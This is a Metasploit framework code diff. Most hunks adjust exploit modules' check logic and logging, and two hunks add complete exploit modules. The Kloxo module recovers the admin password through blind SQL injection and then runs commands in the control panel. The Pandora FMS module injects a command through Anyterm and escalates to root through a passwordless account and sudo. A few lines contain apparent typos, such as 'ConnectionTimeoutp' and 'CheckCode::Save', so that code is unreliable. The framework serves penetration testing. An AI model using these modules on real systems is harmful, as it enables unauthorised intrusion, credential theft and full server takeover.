@ -71,9 +71,12 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => "/cpqlogin.htm"
})
if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
if res.nil?
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
elsif res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
version = $1
return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
return Exploit::CheckCode::Appears if version <= "7.1.1.1"
end
return Exploit::CheckCode::Safe

View File

@ -0,0 +1,278 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
Rank = ManualRanking
PASSWORD_PREFIX = '__lxen:'
BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='
attr_accessor :password
attr_accessor :session
attr_accessor :server
def initialize(info = {})
super(update_info(info,
'Name' => 'Kloxo SQL Injection and Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
exploited in the wild on January 2014. The SQL injection issue can be abused in order to
retrieve the Kloxo admin cleartext password from the database. With admin access to the
web control panel, remote PHP code execution can be achieved by abusing the Command Center
function. The module tries to find the first server in the tree view, unless the server
information is provided, in which case it executes the payload there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Discovery, exploit in the wild
'juan vazquez' # Metasploit Module
],
'References' =>
[
['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild
['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
}
},
'Targets' =>
[
['Kloxo / CentOS', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 28 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(7778),
OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
], self.class)
register_advanced_options(
[
OptString.new('SERVER_CLASS', [false, 'The server class']),
OptString.new('SERVER_NAME', [false, 'The server name'])
], self.class)
end
def check
return Exploit::CheckCode::Safe unless webcommand_exists?
return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
return Exploit::CheckCode::Safe unless pefix_found?
Exploit::CheckCode::Vulnerable
end
def exploit
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable
print_status("#{peer} - Recovering the admin password with SQLi...")
loot = base64_password
fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
@password = Rex::Text.decode_base64(loot)
print_good("#{peer} - Password recovered: #{@password}")
print_status("#{peer} - Logging into the Control Panel...")
@session = send_login
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?
report_auth_info(
:host => rhost,
:port => rport,
:user => 'admin',
:pass => @password,
:type => 'password',
:sname => (ssl ? 'https' : 'http')
)
print_status("#{peer} - Retrieving the server name...")
@server = server_info
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?
print_status("#{peer} - Exploiting...")
send_command(payload.encoded)
end
def send_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
'vars_post' =>
{
'frm_clientname' => 'admin',
'frm_password' => @password,
'login' => 'Login'
}
)
if res && res.code == 302 && res.headers.include?('Set-Cookie')
return res.get_cookies
end
nil
end
def server_info
unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, 'display.php'),
'cookie' => @session,
'vars_get' =>
{
'frm_action' => 'show'
}
})
if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
return parse_display_info(res.body.to_s)
end
nil
end
def parse_display_info(html)
server_info = {}
pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)
if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
return nil
else
server_info[:class] = $1
end
if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
return nil
else
server_info[:name] = $1
end
server_info
end
def send_command(command)
data = Rex::MIME::Message.new
data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')
post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => @session,
'data' => post_data
}, 1)
end
def webcommand_exists?
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))
if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
return true
end
false
end
def pefix_found?
i = 1
PASSWORD_PREFIX.each_char do |c|
return false unless exploit_sqli(i, c)
i = i + 1
end
true
end
def bad_char(pos)
Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
end
def ascii(char)
char.unpack('C')[0]
end
def base64_password
i = PASSWORD_PREFIX.length + 1
loot = ''
until exploit_sqli(i, "\x00")
vprint_status("#{peer} - Bruteforcing position #{i}")
c = brute_force_char(i)
if c.nil?
return nil
else
loot << c
end
vprint_status("#{peer} - Found: #{loot}")
i = i + 1
end
loot
end
def brute_force_char(pos)
BASE64_RANGE.each_char do |c|
return c if exploit_sqli(pos, c)
end
nil
end
def exploit_sqli(pos, char)
# $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
sqli = "al5i' "
sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
'vars_get' =>
{
'login-class' => 'client',
'login-name' => sqli,
'login-password' => '123456'
}
)
if res && res.code == 200 && res.body.blank?
return true
elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
return false
end
vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
false
end
end

View File

@ -57,11 +57,12 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => '/HNAP1/'
})
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
vprint_error("A connection error has occured")
return Exploit::CheckCode::Unknown
end
if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
return Exploit::CheckCode::Vulnerable
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -128,12 +128,17 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "interface", "/"),
})
if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
if res.nil?
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
version = $1
end
if version and version >= "5" and version <= "5.0-1.07"
return Exploit::CheckCode::Vulnerable
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -88,10 +88,11 @@ class Metasploit4 < Msf::Exploit::Remote
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Unknown
return Exploit::CheckCode::Safe
end
#

View File

@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
# retrieve software version from login page
print_status("#{peer} - Sending check")
vprint_status("#{peer} - Sending check")
begin
res = send_request_cgi({
'uri' => '/'
@ -83,10 +83,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Unknown
return Exploit::CheckCode::Safe
end
def on_new_session(client)

View File

@ -0,0 +1,113 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Pandora FMS Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
It will leverage an unauthenticated command injection in the Anyterm service on
port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
the user "artica" is not assigned a password by default, which makes it possible to su
to this user from the "pandora" user. The "artica" user has access to sudo without a
password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
and lower force a password for the "artica" user during installation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
],
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Pandora 5.0RC1', {}]
],
'Privileged' => true,
'DisclosureDate' => "Jan 29 2014",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8023),
OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
], self.class)
end
def on_new_session(client)
print_status("#{peer} - Trying to escalate privileges to root")
[
# ignore SIGHUP so the server doesn't kill our root shell
"trap '' HUP",
# Spawn a pty for su/sudo
"python -c 'import pty;pty.spawn(\"/bin/sh\")'",
# Su to the passwordless "artica" account
"su - artica",
# The "artica" use has sudo rights without the need for a
# password, thus gain root priveleges
"sudo -s",
].each do |command|
vprint_status(command)
client.shell_write(command + "\n")
end
super
end
def check
# Check version
print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "anyterm.html")
})
if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Sending payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
'vars_post' => {
'a' => "open",
'p' => "`#{payload.encoded}`"
}
})
if !res || res.code != 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end
end
end

View File

@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
'nsserver' => Rex::Text.encode_base64("127.0.0.1")
}
})
if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/
if res and res.code == 200 and res.body =~ /NS Query result for 127\.0\.0\.1/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
return Exploit::CheckCode::Appears
end
def target_smt_x9_214

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
print_status("#{peer} - Trying to detect installed version")
vprint_status("#{peer} - Trying to detect installed version")
res = send_request_cgi({
'method' => 'GET',
@ -80,21 +80,21 @@ class Metasploit3 < Msf::Exploit::Remote
model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
model = "DS#{model}" unless model =~ /^[A-Z]/
else
print_status("#{peer} - Detection failed")
vprint_status("#{peer} - Detection failed")
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
vprint_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
case version
when '4.0'
return Exploit::CheckCode::Vulnerable if build < '2259'
return Exploit::CheckCode::Appears if build < '2259'
when '4.1'
return Exploit::CheckCode::Vulnerable
return Exploit::CheckCode::Appears
when '4.2'
return Exploit::CheckCode::Vulnerable if build < '3243'
return Exploit::CheckCode::Appears if build < '3243'
when '4.3'
return Exploit::CheckCode::Vulnerable if build < '3810'
return Exploit::CheckCode::Appears if build < '3810'
return Exploit::CheckCode::Detected if build == '3810'
end

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
data = "pc=127.0.0.1; "
data << Rex::Text.uri_encode("echo #{fingerprint}")
data << "%26"
print_status("#{peer} - Sending check")
vprint_status("#{peer} - Sending check")
begin
res = send_request_cgi({
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
'data' => data
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
end

View File

@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => "#{uri}/login.php"
})
if res and res.body =~ /WebCalendar v1.2.\d/
return Exploit::CheckCode::Vulnerable
if res and res.body =~ /WebCalendar v1\.2\.\d/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end

View File

@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
# Check version
print_status("#{peer} - Trying to detect installed version")
vprint_status("#{peer} - Trying to detect installed version")
res = send_request_cgi({
'method' => 'GET',
@ -72,10 +72,10 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/
version = $1
print_status("#{peer} - Zabbix version #{version} detected")
vprint_status("#{peer} - Zabbix version #{version} detected")
else
# If this fails, guest access may not be enabled
print_status("#{peer} - Unable to access httpmon.php")
vprint_status("#{peer} - Unable to access httpmon.php")
return Exploit::CheckCode::Unknown
end

View File

@ -66,23 +66,23 @@ class Metasploit3 < Msf::Exploit::Remote
def check
# retrieve software version from config file
print_status("#{peer} - Sending check")
vprint_status("#{peer} - Sending check")
begin
res = send_request_cgi({
'uri' => '/config/global.conf'
})
if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
return Exploit::CheckCode::Appears
elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Unknown
return Exploit::CheckCode::Safe
end
def exploit

View File

@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => "GET",
'uri' => "/zport/acl_users/cookieAuthHelper/login_form"
})
return Exploit::CheckCode::Vulnerable if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
return Exploit::CheckCode::Detected if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
print_error("#{peer} - Connection failed")
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Unknown
return Exploit::CheckCode::Save
end
def exploit

View File

@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote
connect
disconnect
if (banner =~ /IMAP4rev1 v12.264/)
return Exploit::CheckCode::Vulnerable
if (banner =~ /IMAP4rev1 v12\.264/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
return CheckCode::Detected
end
return CheckCode::Unknown
return CheckCode::Safe
end
def exploit

View File

@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
def check
if setuid?("/usr/bin/vmware-mount")
CheckCode::Vulnerable
CheckCode::Appears
else
CheckCode::Safe
end

View File

@ -51,7 +51,7 @@ class Metasploit4 < Msf::Exploit::Local
return CheckCode::Detected
end
return CheckCode::Unknown
return CheckCode::Safe
end
def exploit

View File

@ -70,13 +70,13 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"")
print_status("#{rhost}:#{rport} Sending login packet to check...")
vprint_status("#{rhost}:#{rport} Sending login packet to check...")
sock.put(packet)
res = sock.get_once
disconnect
if res and res=~ /OK/ and res =~ /Login/
return Exploit::CheckCode::Vulnerable
return Exploit::CheckCode::Appears
elsif res and res =~ /FAILED/ and res =~ /version/
return Exploit::CheckCode::Detected
end

View File

@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
print_status("Checking if remote NRPE supports command line arguments")
vprint_status("Checking if remote NRPE supports command line arguments")
begin
# send query asking to run "fake_check" command with command substitution in arguments
@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote
return Exploit::CheckCode::Safe
rescue Errno::ECONNRESET => reset
unless datastore['NRPESSL'] or @force_ssl
print_status("Retrying with ADH SSL")
vprint_status("Retrying with ADH SSL")
@force_ssl = true
retry
end

View File

@ -141,14 +141,14 @@ class Metasploit3 < Msf::Exploit::Remote
case fprint
when 'BE'
print_status("Detected Big Endian")
return Msf::Exploit::CheckCode::Vulnerable
vprint_status("Detected Big Endian")
return Msf::Exploit::CheckCode::Appears
when 'LE'
print_status("Detected Little Endian")
return Msf::Exploit::CheckCode::Vulnerable
vprint_status("Detected Little Endian")
return Msf::Exploit::CheckCode::Appears
end
return Msf::Exploit::CheckCode::Unknown
return Msf::Exploit::CheckCode::Safe
end
def exploit

View File

@ -82,17 +82,17 @@ class Metasploit3 < Msf::Exploit::Remote
cmd = "echo #{clue}"
connect
print_status("#{peer} - Sending 'Command' request...")
vprint_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect
if res
print_status(res)
vprint_status(res)
if res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
elsif res =~ /-1/ and res=~ /NODE (\d*)/
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
vprint_good("#{peer} - Node ID #{node_id} discovered")
else
return Exploit::CheckCode::Safe
end
@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Retry with the good node_id
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
vprint_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /#{clue}/

View File

@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
version = postgres_fingerprint
if version[:auth]
return CheckCode::Vulnerable
return CheckCode::Appears
else
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
return CheckCode::Safe

View File

@ -282,7 +282,7 @@ class Metasploit3 < Msf::Exploit::Remote
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
print_status("Version found: #{version}")
vprint_status("Version found: #{version}")
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14

Some files were not shown because too many files have changed in this diff Show More